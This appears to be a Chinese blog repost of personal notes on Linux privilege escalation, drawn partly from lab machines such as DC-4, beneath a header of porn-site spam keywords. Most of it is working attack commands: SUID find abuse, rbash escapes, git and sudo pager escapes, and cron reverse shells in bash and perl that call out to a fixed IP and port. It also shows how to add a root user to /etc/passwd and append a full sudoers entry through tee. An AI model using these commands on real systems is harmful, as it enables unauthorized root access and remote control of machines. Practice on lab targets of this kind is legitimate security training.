日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux怎么对当前目录提权,linux提权方法(不断总结更新)

發布時間:2025/3/20 linux 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux怎么对当前目录提权,linux提权方法(不断总结更新) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.suid提權

運行某些程序時暫時獲得root的權限,例如ping(socket需要root才能運行)

搜索符合條件的可以用來提權的:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

find / -user root -perm -4000 -print 2>/dev/null

三種都可以

搜索可以提權的程序,一般有以下 :

nmap vim find Bash More Less Nano cp

舉例:find提權

find / -perm -u=s -type f 2>/dev/null

發現find可以利用

普通用戶,進入到/tmp目錄下,然后新建一個文件。

touch abcd

find abcd -exec whoami ;

會發現已經是root權限

?

2.rbash繞過

rbash就是受限制的bash,一般管理員會限制很多命令,例如whoami cd cat等很多常用的命令,不過肯定會有命令可以使用,我們可以查看$PATH有哪些,或者自己挨個試

echo $PATH #查看自己可以使用的命令

less,ls,scp,vi 是我們可以用的

嘗試用以下來繞過

#干就完事了

1.

vi test

:!/bin/sh

2.ed

3.ne

4. more less

more test

!'sh'

5.

man ls

操作同more less

6.find

/usr/bin/find /etc/passwd -exec whoami ;

/usr/bin/find /etc/passwd -exec /bin/sh ;

7.nmap

低版本

8.awk

awk 'BEGIN {system("/bin/sh")}'

9.python

python -c "import os;os.system('whoami')"

python -c "import os;os.system('/bin/sh')"

python -c "import pty;pty.spawn('/bin/sh')"

10.ruby

11.perl

12.php

13.

BASH_CMDS[a]=/bin/sh;a

最后用13成功繞過了rbash,進入了人sh

趕緊試試用/bin/bash進入bash,沒有權限的提升,我就覺得這個好用,能用tab補全

執行:

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

或者:PATH=$PATH:/bin

PATH=$PATH:/usr/bin

就可以正常使用了

3.git提權

sudo git help config

!/bin/bash或者!'sh'完成提權

sudo git -p help

!/bin/bash

4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

5.sudoer配置文件錯誤提權

5.1 基礎知識

有的時候,普通用戶經常要執行某個命令,但是經常需要sudo輸入密碼,我們就可以通過配置/etc/sudoers文件來實現普通用戶某個命令權限的提升,但是如果一旦是給了用戶寫入的root權限,比如vi,那么這個普通用戶一旦被入侵,就可以通過vi來提權

首先來看/etc/sudoers

chmod u+w /etc/shudoers

vi /etc/sudoers

看到這里

# User privilege specification

root ALL=(ALL:ALL) ALL

root:代表用戶

第一個ALL:之網絡中的主機,我也不知道什么意思,但是這個all還是不動好了

第二個(ALL:ALL):指以誰的身份去執行,root就行了

第三個ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc

看下面的圖:

代表了用戶zaq可以以root的權限運行ls指令

前邊要加sudo,可以看到zaq用戶成功查看了/root目錄的結構

sudo -l 顯示出自己(執行 sudo 的使用者)的權限

5.2 提權

如果這個/bin/ls變成了可以寫入文件的命令會怎么辦呢?比如:

/usr/bin/tee

這是在DC-4靶機上遇到的

#####################################################################

先看以下tee的用法

zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help

Usage: /usr/bin/tee [OPTION]... [FILE]...

Copy standard input to each FILE, and also to standard output.

-a, --append append to the given FILEs, do not overwrite

-i, --ignore-interrupts ignore interrupt signals

-p diagnose errors writing to non pipes

--output-error[=MODE] set behavior on write error. See MODE below

--help display this help and exit

--version output version information and exit

####################################################################

把輸入寫入文件,如果是-a的話就會在最后新起一行追加內容

1.corntab反彈shell

當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈:

* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"

這樣彈shell的時候不知道為什么很慢,耐心等等

或者:

*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.suid

值得注意的是:chmod 4777 /bin/bash不會有這種效果(曾經看到這個解答,我給忘了,你不用管為什么了,自己試試就好了)

3.passwd添加用戶

test:x:0:0::/home/admin:/bin/bash

4.sudoers文件

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

總結

以上是生活随笔為你收集整理的Linux怎么对当前目录提权,linux提权方法(不断总结更新)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。